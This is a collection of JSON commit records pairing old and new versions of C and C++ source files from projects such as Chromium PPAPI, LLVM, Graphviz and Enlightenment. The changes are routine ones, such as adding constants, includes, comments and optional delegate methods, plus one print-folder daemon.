{"commit":"97cf67c3c5e9324a6567f74ee3a272bdad24524d","old_file":"hashtag-warrior\/Game\/Constants\/Constants.h","new_file":"hashtag-warrior\/Game\/Constants\/Constants.h","old_contents":"\/\/\n\/\/  Constants.h\n\/\/  hashtag-warrior\n\/\/\n\/\/  Created by Daniel Wood on 20\/04\/2013.\n\/\/  Copyright (c) 2013 Ossum Games. All rights reserved.\n\/\/\n\n#ifndef hashtag_warrior_Constants_h\n#define hashtag_warrior_Constants_h\n\n\/\/ UI & appearance\n#define kHWBackgroundColor ccc4(142, 193, 218, 255)\n#define kHWTextColor ccc3(8, 90, 124);\n#define kHWTextHeadingFamily @\"Marker Felt\"\n#define kHWTextBodyFamily @\"Arial\"\n\n\/\/ Gameplay\n#define kHWMinProjectileSize 2.0f          \/\/ TODO net yet used\n#define kHWMaxProjectileSize 10.0f         \/\/ TODO net yet used\n#define kHWMinProjectileStartVelocity 2.0f \/\/ TODO net yet used\n#define kHWMaxProjectileStartVelocity 8.0f \/\/ TODO net yet used\n#define kHWMinProjectileStartAngle -5      \/\/ TODO net yet used\n#define kHWMaxProjectileStartAngle 30      \/\/ TODO net yet used\n\n\/\/ Environment\n#define kHWMaxVelocity 10.0f\n#define kHWForceMagnifier 5\n\n#endif\n","new_contents":"\/\/\n\/\/  Constants.h\n\/\/  hashtag-warrior\n\/\/\n\/\/  Created by Daniel Wood on 20\/04\/2013.\n\/\/  Copyright (c) 2013 Ossum Games. All rights reserved.\n\/\/\n\n#ifndef hashtag_warrior_Constants_h\n#define hashtag_warrior_Constants_h\n\n\/\/ UI & appearance\n#define kHWBackgroundColor ccc4(142, 193, 218, 255)\n#define kHWTextColor ccc3(8, 90, 124);\n#define kHWTextHeadingFamily @\"Marker Felt\"\n#define kHWTextBodyFamily @\"Arial\"\n\n\/\/ Gameplay\n#define kHWMinProjectileSize 2.0f          \/\/ TODO net yet used\n#define kHWMaxProjectileSize 10.0f         \/\/ TODO net yet used\n#define kHWMinProjectileStartVelocity 2.0f \/\/ TODO net yet used\n#define kHWMaxProjectileStartVelocity 8.0f \/\/ TODO net yet used\n#define kHWMinProjectileStartAngle -5      \/\/ TODO net yet used\n#define kHWMaxProjectileStartAngle 30      \/\/ TODO net yet used\n\n\/\/ Environment\n#define kHWMaxVelocity 10.0f\n#define kHWForceMagnifier 5\n\n\/\/ Misc\n#define kHWIsDebug 0\n\n#endif\n","subject":"Add a constant for detecting whether we are in debug mode.","message":"Add a constant for detecting whether we are in debug mode.\n","lang":"C","license":"mit","repos":"TuftEntertainment\/hashtag-warrior,TuftEntertainment\/hashtag-warrior,TuftEntertainment\/hashtag-warrior,TuftEntertainment\/hashtag-warrior,TuftEntertainment\/hashtag-warrior,TuftEntertainment\/hashtag-warrior,TuftEntertainment\/hashtag-warrior,TuftEntertainment\/hashtag-warrior"}
{"commit":"01110b91b54b7a5aada4ba2c15819c608cce9633","old_file":"c\/ppb_find.h","new_file":"c\/ppb_find.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PPAPI_C_PPB_FIND_H_\n#define PPAPI_C_PPB_FIND_H_\n\n#include \"ppapi\/c\/pp_instance.h\"\n#include \"ppapi\/c\/pp_stdint.h\"\n\n#define PPB_FIND_INTERFACE \"PPB_Find;1\"\n\ntypedef struct _ppb_Find {\n  \/\/ Updates the number of find results for the current search term.  If\n  \/\/ there are no matches 0 should be passed in.  Only when the plugin has\n  \/\/ finished searching should it pass in the final count with finalResult set\n  \/\/ to true.\n  void NumberOfFindResultsChanged(PP_Instance instance,\n                                  int32_t total,\n                                  bool final_result);\n\n  \/\/ Updates the index of the currently selected search item.\n  void SelectedFindResultChanged(PP_Instance instance,\n                                 int32_t index);\n\n} PPB_Find;\n\n#endif  \/\/ PPAPI_C_PPB_FIND_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PPAPI_C_PPB_FIND_H_\n#define PPAPI_C_PPB_FIND_H_\n\n#include \"ppapi\/c\/pp_instance.h\"\n#include \"ppapi\/c\/pp_stdint.h\"\n\n#define PPB_FIND_INTERFACE \"PPB_Find;1\"\n\ntypedef struct _ppb_Find {\n  \/\/ Updates the number of find results for the current search term.  If\n  \/\/ there are no matches 0 should be passed in.  Only when the plugin has\n  \/\/ finished searching should it pass in the final count with finalResult set\n  \/\/ to true.\n  void (*NumberOfFindResultsChanged)(PP_Instance instance,\n                                     int32_t total,\n                                     bool final_result);\n\n  \/\/ Updates the index of the currently selected search item.\n  void (*SelectedFindResultChanged)(PP_Instance instance,\n                                    int32_t index);\n\n} PPB_Find;\n\n#endif  \/\/ PPAPI_C_PPB_FIND_H_\n","subject":"Structure member should be function pointer","message":"Structure member should be function pointer\n\nBUG=none\nTEST=compiles\n\nReview URL: http:\/\/codereview.chromium.org\/2972004","lang":"C","license":"bsd-3-clause","repos":"lio972\/ppapi,Iwan12\/ppapi,lio972\/ppapi,macressler\/ppapi,melchi45\/ppapi,LinRaise\/ppapi,kaijajan\/ppapi,lio972\/ppapi,lio972\/ppapi,kaijajan\/ppapi,thecocce\/ppapi,Iwan12\/ppapi,kaijajan\/ppapi,Iwan12\/ppapi,jmnjmn\/ppapi,LinRaise\/ppapi,LinRaise\/ppapi,melchi45\/ppapi,kaijajan\/ppapi,LinRaise\/ppapi,johnnnylm\/ppapi,thecocce\/ppapi,iofcas\/ppapi,melchi45\/ppapi,macressler\/ppapi,Iwan12\/ppapi,iofcas\/ppapi,thecocce\/ppapi,iofcas\/ppapi,melchi45\/ppapi,macressler\/ppapi,jmnjmn\/ppapi,johnnnylm\/ppapi,johnnnylm\/ppapi,humanai\/ppapi,johnnnylm\/ppapi,humanai\/ppapi,humanai\/ppapi,jmnjmn\/ppapi,macressler\/ppapi,Gitzk\/ppapi,jmnjmn\/ppapi,johnnnylm\/ppapi,lio972\/ppapi,iofcas\/ppapi,Gitzk\/ppapi,jmnjmn\/ppapi,thecocce\/ppapi,Gitzk\/ppapi,thecocce\/ppapi,melchi45\/ppapi,LinRaise\/ppapi,humanai\/ppapi,kaijajan\/ppapi,macressler\/ppapi,iofcas\/ppapi,Iwan12\/ppapi,humanai\/ppapi,Gitzk\/ppapi,Gitzk\/ppapi"}
{"commit":"986a9fa1b91d2ab0e0e11fb1dc5d05fa2e1a4a0d","old_file":"lib\/Target\/CppBackend\/CPPTargetMachine.h","new_file":"lib\/Target\/CppBackend\/CPPTargetMachine.h","old_contents":"\/\/===-- CPPTargetMachine.h - TargetMachine for the C++ backend --*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the TargetMachine that is used by the C++ backend.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef CPPTARGETMACHINE_H\n#define CPPTARGETMACHINE_H\n\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n\nnamespace llvm {\n\nclass formatted_raw_ostream;\n\nstruct CPPTargetMachine : public TargetMachine {\n  CPPTargetMachine(const Target &T, StringRef TT,\n                   StringRef CPU, StringRef FS, const TargetOptions &Options,\n                   Reloc::Model RM, CodeModel::Model CM,\n                   CodeGenOpt::Level OL)\n    : TargetMachine(T, TT, CPU, FS, Options) {}\n\n  bool addPassesToEmitFile(PassManagerBase &PM, formatted_raw_ostream &Out,\n                           CodeGenFileType FileType, bool DisableVerify,\n                           AnalysisID StartAfter,\n                           AnalysisID StopAfter) override;\n\n  const DataLayout *getDataLayout() const override { return nullptr; }\n};\n\nextern Target TheCppBackendTarget;\n\n} \/\/ End llvm namespace\n\n\n#endif\n","new_contents":"\/\/===-- CPPTargetMachine.h - TargetMachine for the C++ backend --*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the TargetMachine that is used by the C++ backend.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef CPPTARGETMACHINE_H\n#define CPPTARGETMACHINE_H\n\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/TargetSubtargetInfo.h\"\n\nnamespace llvm {\n\nclass formatted_raw_ostream;\n\nclass CPPSubtarget : public TargetSubtargetInfo {\n};\n\nstruct CPPTargetMachine : public TargetMachine {\n  CPPTargetMachine(const Target &T, StringRef TT,\n                   StringRef CPU, StringRef FS, const TargetOptions &Options,\n                   Reloc::Model RM, CodeModel::Model CM,\n                   CodeGenOpt::Level OL)\n    : TargetMachine(T, TT, CPU, FS, Options), Subtarget() {}\nprivate:\n  CPPSubtarget Subtarget;\n\npublic:\n  const CPPSubtarget *getSubtargetImpl() const override { return &Subtarget; }\n  bool addPassesToEmitFile(PassManagerBase &PM, formatted_raw_ostream &Out,\n                           CodeGenFileType FileType, bool DisableVerify,\n                           AnalysisID StartAfter,\n                           AnalysisID StopAfter) override;\n};\n\nextern Target TheCppBackendTarget;\n\n} \/\/ End llvm namespace\n\n\n#endif\n","subject":"Add a dummy subtarget to the CPP backend target machine. This will allow us to forward all of the standard TargetMachine calls to the subtarget and still return null as we were before.","message":"Add a dummy subtarget to the CPP backend target machine. This will\nallow us to forward all of the standard TargetMachine calls to the\nsubtarget and still return null as we were before.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@214727 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"57cc9fcf75e31ef88d66e03588bc2c0a08b0b2aa","old_file":"src\/framework\/framework.h","new_file":"src\/framework\/framework.h","old_contents":"\/\/ framework.h\n#ifndef HEADER_FRAMEWORK\n#define HEADER_FRAMEWORK\n\n\/\/ forward declaration\ntypedef struct wookie_framework wookie_framework;\n\n\/* Send an HTTP request back to the framework *\/\nvoid *wookie_framework_request(void*);\n\n#include \"..\/http_parser\/parser.h\"\n#include \"..\/server.h\"\n#include \"framework.c\"\n\n\/* Create new framework *\/\nwookie_framework *wookie_new_framework(char*, int);\n\n\/* Add a route to the framework *\/\nvoid wookie_add_route(wookie_framework*, wookie_route*);\n\n\/* Start the framework *\/\nint wookie_start_framework(wookie_framework*);\n\n#endif","new_contents":"\/\/ framework.h\n#ifndef HEADER_FRAMEWORK\n#define HEADER_FRAMEWORK\n\n\/\/ forward declaration\ntypedef struct wookie_framework wookie_framework;\n\n\/* Send an HTTP request back to the framework *\/\nvoid *wookie_framework_request(void*);\n\n#include \"..\/http_parser\/parser.h\"\n#include \"..\/http_parser\/http_response.h\"\n#include \"..\/server.h\"\n#include \"framework.c\"\n\n\/* Create new framework *\/\nwookie_framework *wookie_new_framework(char*, int);\n\n\/* Add a route to the framework *\/\nvoid wookie_add_route(wookie_framework*, wookie_route*);\n\n\/* Start the framework *\/\nint wookie_start_framework(wookie_framework*);\n\n#endif","subject":"Include HTTP responses in server","message":"Include HTTP responses in server\n","lang":"C","license":"mit","repos":"brendanashworth\/wookie,brendanashworth\/wookie"}
{"commit":"2978caa3dace55323940bac7d35eefc11ad25c50","old_file":"src\/printdird\/printdird.c","new_file":"src\/printdird\/printdird.c","old_contents":"#include <sys\/inotify.h>\n#include <unistd.h>\n#include <sys\/wait.h>\n#include <limits.h>\n\n#define BUF_LEN ( sizeof(struct inotify_event) + NAME_MAX + 1 )\n\nint main(int argc, char *argv[])\n{\n\tint notify;\n\tchar buf[BUF_LEN];\n\tstruct inotify_event *event;\n\tconst char *watchpath = \"\/home\/ian\/.PRINT\";\n\n\tnotify = inotify_init();\n\t\n\tif (inotify_add_watch(notify, watchpath, IN_CLOSE_WRITE) == -1)\n\t\treturn 1;\n\tif (chdir(watchpath) !=0)\n\t\treturn 1;\n\n\twhile (1)\n\t{\n\t\tread(notify, buf, BUF_LEN);\n\t\tevent = (struct inotify_event *) &buf[0];\n\t\tif (event->name[0] == '.')\n\t\t\tcontinue;\n\t\tif(fork() == 0) {\n\t\t\texeclp(\"lpr\" ,\"-r\" , event->name, NULL);\n\t\t\treturn 0;\n\t\t}\n\t\twait(NULL);\n\t\tunlink(event->name);\n\t}\n}\n","new_contents":"#include <sys\/inotify.h>\n#include <unistd.h>\n#include <sys\/wait.h>\n#include <limits.h>\n\n#define BUF_LEN ( sizeof(struct inotify_event) + NAME_MAX + 1 )\n\nint main(int argc, char *argv[])\n{\n    int notify;\n    char buf[BUF_LEN];\n    struct inotify_event *event;\n    const char *watchpath = \"\/home\/ian\/.PRINT\";\n\n    notify = inotify_init();\n    \n    if (inotify_add_watch(notify, watchpath, IN_CLOSE_WRITE) == -1)\n        return 1;\n    if (chdir(watchpath) !=0)\n        return 1;\n\n    while (1)\n    {\n        read(notify, buf, BUF_LEN);\n        event = (struct inotify_event *) &buf[0];\n        if (event->name[0] == '.')\n            continue;\n        if(fork() == 0) {\n            execlp(\"lpr\" ,\"-r\" , event->name, NULL);\n            return 0;\n        }\n        wait(NULL);\n        unlink(event->name);\n    }\n}\n","subject":"Replace tab w\/ 4-space indent","message":"Replace tab w\/ 4-space indent\n","lang":"C","license":"mit","repos":"ids1024\/Utilities,ids1024\/Utilities,ids1024\/Utilities"}
{"commit":"0b08d34452583460b74fb31624a3e743641fc615","old_file":"src\/printdird\/printdird.c","new_file":"src\/printdird\/printdird.c","old_contents":"#include <sys\/inotify.h>\n#include <unistd.h>\n#include <limits.h>\n#include <cups\/cups.h>\n\n#define BUF_LEN ( sizeof(struct inotify_event) + NAME_MAX + 1 )\n\nint main(int argc, char *argv[]) {\n    int notify;\n    char buf[BUF_LEN];\n    struct inotify_event *event;\n    cups_dest_t *dest;\n    char *printer;\n    char *filename;\n    int job_id;\n    const char *watchpath = \"\/home\/ian\/.PRINT\";\n\n    notify = inotify_init();\n    \n    if (inotify_add_watch(notify, watchpath, IN_CLOSE_WRITE) == -1)\n        return 1;\n    if (chdir(watchpath) !=0)\n        return 1;\n\n    \/\/Get default printer\n    if ((dest = cupsGetNamedDest(NULL, NULL, NULL)) == NULL ) \n\t    return 1;\n    printer = dest->name;\n\n\n    while (1) {\n        read(notify, buf, BUF_LEN);\n        event = (struct inotify_event *) &buf[0];\n\tfilename = event->name;\n        if (filename[0] == '.')\n            continue;\n\n        job_id = cupsPrintFile(printer, filename, filename, 0, NULL);\n        cupsStartDocument(CUPS_HTTP_DEFAULT, printer,\n\t                  job_id, NULL, CUPS_FORMAT_AUTO, 1);\n        unlink(filename);\n    }\n}\n","new_contents":"#include <sys\/inotify.h>\n#include <unistd.h>\n#include <limits.h>\n#include <cups\/cups.h>\n\n#define BUF_LEN ( sizeof(struct inotify_event) + NAME_MAX + 1 )\n\nint main(int argc, char *argv[]) {\n    int notify;\n    cups_dest_t *dest;\n    char *printer;\n    const char *watchpath = \"\/home\/ian\/.PRINT\";\n\n    notify = inotify_init();\n    \n    if (inotify_add_watch(notify, watchpath, IN_CLOSE_WRITE) == -1)\n        return 1;\n    if (chdir(watchpath) !=0)\n        return 1;\n\n    \/\/Get default printer\n    if ((dest = cupsGetNamedDest(NULL, NULL, NULL)) == NULL ) \n\t    return 1;\n    printer = dest->name;\n\n\n    while (1) {\n        char buf[BUF_LEN];\n        struct inotify_event *event;\n        char *filename;\n        int job_id;\n\n        read(notify, buf, BUF_LEN);\n        event = (struct inotify_event *) &buf[0];\n\tfilename = event->name;\n        if (filename[0] == '.')\n            continue;\n\n        job_id = cupsPrintFile(printer, filename, filename, 0, NULL);\n        cupsStartDocument(CUPS_HTTP_DEFAULT, printer,\n\t                  job_id, NULL, CUPS_FORMAT_AUTO, 1);\n        unlink(filename);\n    }\n}\n","subject":"Move variable declarations to while loop","message":"Move variable declarations to while loop\n","lang":"C","license":"mit","repos":"ids1024\/Utilities,ids1024\/Utilities,ids1024\/Utilities"}
{"commit":"f0d5e3667099a34ca060fc13de19ef5be0c84db2","old_file":"inc\/filter\/movingaverage.h","new_file":"inc\/filter\/movingaverage.h","old_contents":"#pragma once\n#include <array>\n\nnamespace filter {\n\ntemplate <typename T, size_t N>\nclass MovingAverage {\n    public:\n        MovingAverage(T initial_value=static_cast<T>(0));\n        T output() const; \/\/ return average of data in buffer\n        T output(T input); \/\/ add new value to buffer and return average\n\n    private:\n        std::array<T, N> m_data; \/\/ circular buffer containing samples\n        size_t m_data_index; \/\/ index of oldest circular buffer element\n        T m_sum; \/\/ sum of all elements in buffer\n};\n\n} \/\/ namespace filter\n\n#include \"filter\/movingaverage.hh\"\n","new_contents":"#pragma once\n#include <array>\n\nnamespace filter {\n\n\/*\n * Warning: This class does not protect against sum overflow. It is possible\n * that the sum of values exceeds the maximum value T can store.\n *\/\n\ntemplate <typename T, size_t N>\nclass MovingAverage {\n    public:\n        MovingAverage(T initial_value=static_cast<T>(0));\n        T output() const; \/\/ return average of data in buffer\n        T output(T input); \/\/ add new value to buffer and return average\n\n    private:\n        std::array<T, N> m_data; \/\/ circular buffer containing samples\n        size_t m_data_index; \/\/ index of oldest circular buffer element\n        T m_sum; \/\/ sum of all elements in buffer\n};\n\n} \/\/ namespace filter\n\n#include \"filter\/movingaverage.hh\"\n","subject":"Document possibility of sum overflow in MovingAverage","message":"Document possibility of sum overflow in MovingAverage\n","lang":"C","license":"bsd-2-clause","repos":"oliverlee\/phobos,oliverlee\/phobos,oliverlee\/phobos,oliverlee\/phobos"}
{"commit":"1d6ea657a965cbe59fa1b669d01422f3b8cbb193","old_file":"src\/modules\/conf_randr\/e_smart_randr.h","new_file":"src\/modules\/conf_randr\/e_smart_randr.h","old_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_RANDR_H\n#  define E_SMART_RANDR_H\n\nEvas_Object *e_smart_randr_add(Evas *evas);\nvoid e_smart_randr_layout_size_get(Evas_Object *obj, Evas_Coord *w, Evas_Coord *h);\nvoid e_smart_randr_current_size_set(Evas_Object *obj, Evas_Coord w, Evas_Coord h);\nvoid e_smart_randr_monitors_create(Evas_Object *obj);\nvoid e_smart_randr_monitor_add(Evas_Object *obj, Evas_Object *mon);\nvoid e_smart_randr_monitor_del(Evas_Object *obj, Evas_Object *mon);\nEina_List *e_smart_randr_monitors_get(Evas_Object *obj);\nEina_Bool e_smart_randr_changed_get(Evas_Object *obj);\nvoid e_smart_randr_changes_apply(Evas_Object *obj, Ecore_X_Window root);\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_RANDR_H\n#  define E_SMART_RANDR_H\n\nEvas_Object *e_smart_randr_add(Evas *evas);\nvoid e_smart_randr_layout_size_get(Evas_Object *obj, Evas_Coord *w, Evas_Coord *h);\nvoid e_smart_randr_current_size_set(Evas_Object *obj, Evas_Coord w, Evas_Coord h);\nvoid e_smart_randr_monitors_create(Evas_Object *obj);\nvoid e_smart_randr_monitor_add(Evas_Object *obj, Evas_Object *mon);\nvoid e_smart_randr_monitor_del(Evas_Object *obj, Evas_Object *mon);\nEina_List *e_smart_randr_monitors_get(Evas_Object *obj);\nEina_Bool e_smart_randr_changed_get(Evas_Object *obj);\nvoid e_smart_randr_changes_apply(Evas_Object *obj);\n\n# endif\n#endif\n","subject":"Remove root window as a function paramater (not used anymore).","message":"Remove root window as a function paramater (not used anymore).\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 81262\n","lang":"C","license":"bsd-2-clause","repos":"FlorentRevest\/Enlightenment,FlorentRevest\/Enlightenment,tasn\/enlightenment,tasn\/enlightenment,tasn\/enlightenment,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e"}
{"commit":"ee701dc2f7f1459af75f099c9c901352bc77c94e","old_file":"SSPSolution\/SSPSolution\/System.h","new_file":"SSPSolution\/SSPSolution\/System.h","old_contents":"#ifndef SSPAPPLICATION_CORE_SYSTEM_H\n#define SSPAPPLICATION_CORE_SYSTEM_H\n#include <SDL.h>\n#include <SDL_syswm.h>\n#include <iostream>\n#include \"..\/GraphicsDLL\/GraphicsHandler.h\"\n#include \"..\/GraphicsDLL\/Camera.h\"\n#include \"InputHandler.h\"\n#include \"..\/physicsDLL\/physicsDLL\/PhysicsHandler.h\"\n#pragma comment (lib, \"..\/Debug\/PhysicsDLL\")\n\nconst int SCREEN_WIDTH = 1280;\nconst int SCREEN_HEIGHT = 720;\nclass System\n{\nprivate:\n\tbool m_fullscreen;\n\tbool m_running;\n\t\/\/The glorious window handle for the sdl window\n\tHWND m_hwnd;\n\tHINSTANCE m_hinstance;\n\tLPCWSTR m_applicationName;\n\t\/\/This is the window we render to\n\tSDL_Window* m_window;\n\n\tCamera* m_camera;\n\t\/\/These are the subsystems\n\tGraphicsHandler* m_graphicsHandler;\n\tInputHandler* m_inputHandler;\n\t\/\/this is a physicsHandler\n\tPhysicsHandler m_physicsHandler;\npublic:\n\tSystem();\n\t~System();\n\tint Shutdown();\n\n\tint Initialize();\n\t\/\/Do not place things here without talking to the system designers. Place any update method in the System::Update(float dt) method\n\tint Run();\n\tint Update(float deltaTime);\n\nprivate:\n\tint HandleEvents();\n\tint FullscreenToggle();\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_CORE_SYSTEM_H\n#define SSPAPPLICATION_CORE_SYSTEM_H\n#include <SDL.h>\n#include <SDL_syswm.h>\n#include <iostream>\n#include \"..\/GraphicsDLL\/GraphicsHandler.h\"\n#include \"..\/GraphicsDLL\/Camera.h\"\n#include \"InputHandler.h\"\n#include \"..\/physicsDLL\/PhysicsHandler.h\"\n#pragma comment (lib, \"..\/Debug\/PhysicsDLL\")\n\nconst int SCREEN_WIDTH = 1280;\nconst int SCREEN_HEIGHT = 720;\nclass System\n{\nprivate:\n\tbool m_fullscreen;\n\tbool m_running;\n\t\/\/The glorious window handle for the sdl window\n\tHWND m_hwnd;\n\tHINSTANCE m_hinstance;\n\tLPCWSTR m_applicationName;\n\t\/\/This is the window we render to\n\tSDL_Window* m_window;\n\n\tCamera* m_camera;\n\t\/\/These are the subsystems\n\tGraphicsHandler* m_graphicsHandler;\n\tInputHandler* m_inputHandler;\n\t\/\/this is a physicsHandler\n\tPhysicsHandler m_physicsHandler;\npublic:\n\tSystem();\n\t~System();\n\tint Shutdown();\n\n\tint Initialize();\n\t\/\/Do not place things here without talking to the system designers. Place any update method in the System::Update(float dt) method\n\tint Run();\n\tint Update(float deltaTime);\n\nprivate:\n\tint HandleEvents();\n\tint FullscreenToggle();\n};\n\n#endif","subject":"FIX physicsDLL include path FOR DLL to work","message":"FIX physicsDLL include path FOR DLL to work\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"753ceda15f9730e7e0a660b1a0e9d387a3c1bf66","old_file":"Classes\/NBNPhotoChooserViewController.h","new_file":"Classes\/NBNPhotoChooserViewController.h","old_contents":"#import <UIKit\/UIKit.h>\n\n@protocol NBNPhotoChooserViewControllerDelegate;\n\n@interface NBNPhotoChooserViewController : UIViewController\n\n- (instancetype)initWithDelegate:(id<NBNPhotoChooserViewControllerDelegate>)delegate;\n- (instancetype)initWithDelegate:(id<NBNPhotoChooserViewControllerDelegate>)delegate\n                     maxCellWidth:(CGFloat)maxCellWidth\n                     cellSpacing:(CGFloat)cellSpacing;\n\n@property (nonatomic) NSString *navigationBarTitle;\n@property (nonatomic) NSString *cancelButtonTitle;\n@property (nonatomic) BOOL shouldAnimateImagePickerTransition;\n\n@end\n\n@protocol NBNPhotoChooserViewControllerDelegate <NSObject>\n\n- (void)photoChooserController:(NBNPhotoChooserViewController *)photoChooser didChooseImage:(UIImage *)image;\n- (void)photoChooserDidCancel:(NBNPhotoChooserViewController *)photoChooser;\n\n@end\n","new_contents":"#import <UIKit\/UIKit.h>\n\n@protocol NBNPhotoChooserViewControllerDelegate;\n\n@interface NBNPhotoChooserViewController : UIViewController\n\n- (instancetype)initWithDelegate:(id<NBNPhotoChooserViewControllerDelegate>)delegate;\n- (instancetype)initWithDelegate:(id<NBNPhotoChooserViewControllerDelegate>)delegate\n                     maxCellWidth:(CGFloat)maxCellWidth\n                     cellSpacing:(CGFloat)cellSpacing;\n\n@property (nonatomic) NSString *navigationBarTitle;\n@property (nonatomic) NSString *cancelButtonTitle;\n@property (nonatomic) BOOL shouldAnimateImagePickerTransition;\n\n@end\n\n@protocol NBNPhotoChooserViewControllerDelegate <NSObject>\n\n- (void)photoChooserController:(NBNPhotoChooserViewController *)photoChooser didChooseImage:(UIImage *)image;\n\n@optional\n- (void)photoChooserDidCancel:(NBNPhotoChooserViewController *)photoChooser;\n\n@end\n","subject":"Make delegate method optional (cancellation is handled automatically when using UINavigationController)","message":"Make delegate method optional (cancellation is handled automatically when using UINavigationController)\n","lang":"C","license":"mit","repos":"nerdishbynature\/NBNPhotoChooser,kimar\/NBNPhotoChooser"}
{"commit":"a3f92d3c91b784747173ac16bdca620da2fbb7a3","old_file":"lib\/vpsc\/variable.h","new_file":"lib\/vpsc\/variable.h","old_contents":"","new_contents":"\/**\n *\n * Authors:\n *   Tim Dwyer <tgdwyer@gmail.com>\n *\n * Copyright (C) 2005 Authors\n *\n * This version is released under the CPL (Common Public License) with\n * the Graphviz distribution.\n * A version is also available under the LGPL as part of the Adaptagrams\n * project: http:\/\/sourceforge.net\/projects\/adaptagrams.  \n * If you make improvements or bug fixes to this code it would be much\n * appreciated if you could also contribute those changes back to the\n * Adaptagrams repository.\n *\/\n#ifndef SEEN_REMOVEOVERLAP_VARIABLE_H\n#define SEEN_REMOVEOVERLAP_VARIABLE_H\n\n#include <vector>\n#include <iostream>\nclass Block;\nclass Constraint;\n#include \"block.h\"\n\ntypedef std::vector<Constraint*> Constraints;\nclass Variable\n{\n\tfriend std::ostream& operator <<(std::ostream &os, const Variable &v);\npublic:\n\tconst int id; \/\/ useful in log files\n\tdouble desiredPosition;\n\tconst double weight;\n\tdouble offset;\n\tBlock *block;\n\tbool visited;\n\tConstraints in;\n\tConstraints out;\n\tchar *toString();\n\tinline Variable(const int id, const double desiredPos, const double weight)\n\t\t: id(id)\n\t\t, desiredPosition(desiredPos)\n\t\t, weight(weight)\n\t\t, offset(0)\n\t\t, visited(false)\n\t{\n\t}\n\tinline double Variable::position() const {\n\t\treturn block->posn+offset;\n\t}\n\t\/\/double position() const;\n\t~Variable(void){\n\t\tin.clear();\n\t\tout.clear();\n\t}\n};\n#endif \/\/ SEEN_REMOVEOVERLAP_VARIABLE_H\n","subject":"Add the vpsc library for IPSEPCOLA features","message":"Add the vpsc library for IPSEPCOLA features\n","lang":"C","license":"epl-1.0","repos":"BMJHayward\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,tkelman\/graphviz,kbrock\/graphviz,kbrock\/graphviz,tkelman\/graphviz,tkelman\/graphviz,ellson\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,ellson\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,ellson\/graphviz,kbroc